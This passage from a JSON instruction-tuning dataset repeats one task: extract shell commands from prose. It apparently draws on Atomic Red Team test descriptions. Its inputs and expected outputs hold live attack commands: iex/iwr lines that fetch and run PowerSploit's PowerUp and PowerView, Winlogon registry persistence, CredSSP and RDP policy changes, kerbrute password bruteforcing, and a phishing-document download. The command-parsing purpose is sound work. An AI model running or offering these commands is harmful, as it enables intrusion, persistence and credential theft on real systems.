$_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Get-DomainUser function in PowerView will display all domain users when you use the following command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose\n; To enumerate users in Active Directory and display their paths, use the command: ([adsisearcher]\"objectcategory=user\").FindAll(); ([adsisearcher]\"objectcategory=user\").FindOne()\n",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose\\n\", \"([adsisearcher]\\\"objectcategory=user\\\").FindAll(); ([adsisearcher]\\\"objectcategory=user\\\").FindOne()\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To configure the Winlogon userinit key for executing a binary during logon, use the following PowerShell command: Set-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" \"Userinit\" \"Userinit.exe, #{binary_to_execute}\" -Force; For earlier Windows versions (pre-Vista/Server 2008), you can set up Winlogon Notify to execute a DLL at logon by executing these PowerShell commands: \nNew-Item \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" \"DllName\" \"#{binary_to_execute}\" -Type ExpandString -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" \"Logon\" \"#{function_to_execute}\" -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" \"Impersonate\" 1 -Type DWord -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" \"Asynchronous\" 0 -Type DWord -Force\n",
    "output": "{\"command_list\": [\"Set-ItemProperty \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\" \\\"Userinit\\\" \\\"Userinit.exe, #{binary_to_execute}\\\" -Force\\n\", \"New-Item \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\\\\AtomicRedTeam\\\" -Force\\nSet-ItemProperty \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\\\\AtomicRedTeam\\\" \\\"DllName\\\" \\\"#{binary_to_execute}\\\" -Type ExpandString -Force\\nSet-ItemProperty \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\\\\AtomicRedTeam\\\" \\\"Logon\\\" \\\"#{function_to_execute}\\\" -Force\\nSet-ItemProperty \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\\\\AtomicRedTeam\\\" \\\"Impersonate\\\" 1 -Type DWord -Force\\nSet-ItemProperty \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\\\\AtomicRedTeam\\\" \\\"Asynchronous\\\" 0 -Type DWord -Force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To evade Scarab Ransomware defenses by modifying Credential Security Support Provider settings, use the following command: reg add \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\CredSSP\\Parameters\" /v AllowEncryptionOracle /t REG_DWORD /d 2 /f; To disable RDP anti-alias settings as seen in DarkGate malware, use the following command: reg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\" /v \"DisableRemoteDesktopAntiAlias\" /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\CredSSP\\\\Parameters\\\" /v AllowEncryptionOracle /t REG_DWORD /d 2 /f\\n\", \"reg add \\\"HKEY_LOCAL_MACHINE\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\Terminal Services\\\" /v \\\"DisableRemoteDesktopAntiAlias\\\" /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To replace the registry settings with a custom executable, which will then be executed when the OS initiates the respective activity, use the following command: reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MyComputer\\DefragPath\" /t REG_EXPAND_SZ /d \"%systemroot%\\system32\\notepad.exe\" /f; To replace the registry settings with a custom executable, which will cause the replacement programs to execute when the OS initiates the respective activity, use the following command: reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MyComputer\\BackupPath\" /t REG_EXPAND_SZ /d \"%systemroot%\\system32\\notepad.exe\" /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\MyComputer\\\\DefragPath\\\" /t REG_EXPAND_SZ /d \\\"%systemroot%\\\\system32\\\\notepad.exe\\\" /f\\n\", \"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\MyComputer\\\\BackupPath\\\" /t REG_EXPAND_SZ /d \\\"%systemroot%\\\\system32\\\\notepad.exe\\\" /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute cmd.exe and schedule it to run at a specific time, use the following command: at 13:20 /interactive cmd; To schedule a command for future execution using the `at` daemon, run the following: echo \"#{at_command}\" | at #{time_spec}",
    "output": "{\"command_list\": [\"at 13:20 /interactive cmd\\n\", \"echo \\\"#{at_command}\\\" | at #{time_spec}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Multiple enumeration commands will be performed to list all domain accounts, using the following commands that display results in the PowerShell session: net user /domain\nnet group /domain; To enumerate all accounts via PowerShell, which will display extensive user account and group information, run the following command:\nnet user /domain\nget-localgroupmember -group Users\nget-aduser -filter *",
    "output": "{\"command_list\": [\"net user /domain\\nnet group /domain\\n\", \"net user /domain\\nget-localgroupmember -group Users\\nget-aduser -filter *\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A bruteforce attack can be executed by reading username:password pairs from a file or stdin with this command:\ncd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n.\\kerbrute.exe bruteforce --dc #{domaincontroller} -d #{domain} \"PathToAtomicsFolder\\..\\ExternalPayloads\\bruteforce.txt\"; To simulate a phishing attack by downloading a macro-enabled document, use the following command: $url = 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1566.001/bin/PhishingAttachment.xlsm'\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest -Uri $url -OutFile $env:TEMP\\PhishingAttachment.xlsm\n",
    "output": "{\"command_list\": [\"cd \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\n.\\\\kerbrute.exe bruteforce --dc #{domaincontroller} -d #{domain} \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\bruteforce.txt\\\"      \\n\", \"$url = 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1566.001/bin/PhishingAttachment.xlsm'\\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nInvoke-WebRequest -Uri $url -OutFile $env:TEMP\\\\PhishingAttachment.xlsm\\n\"]}"
  },
  {
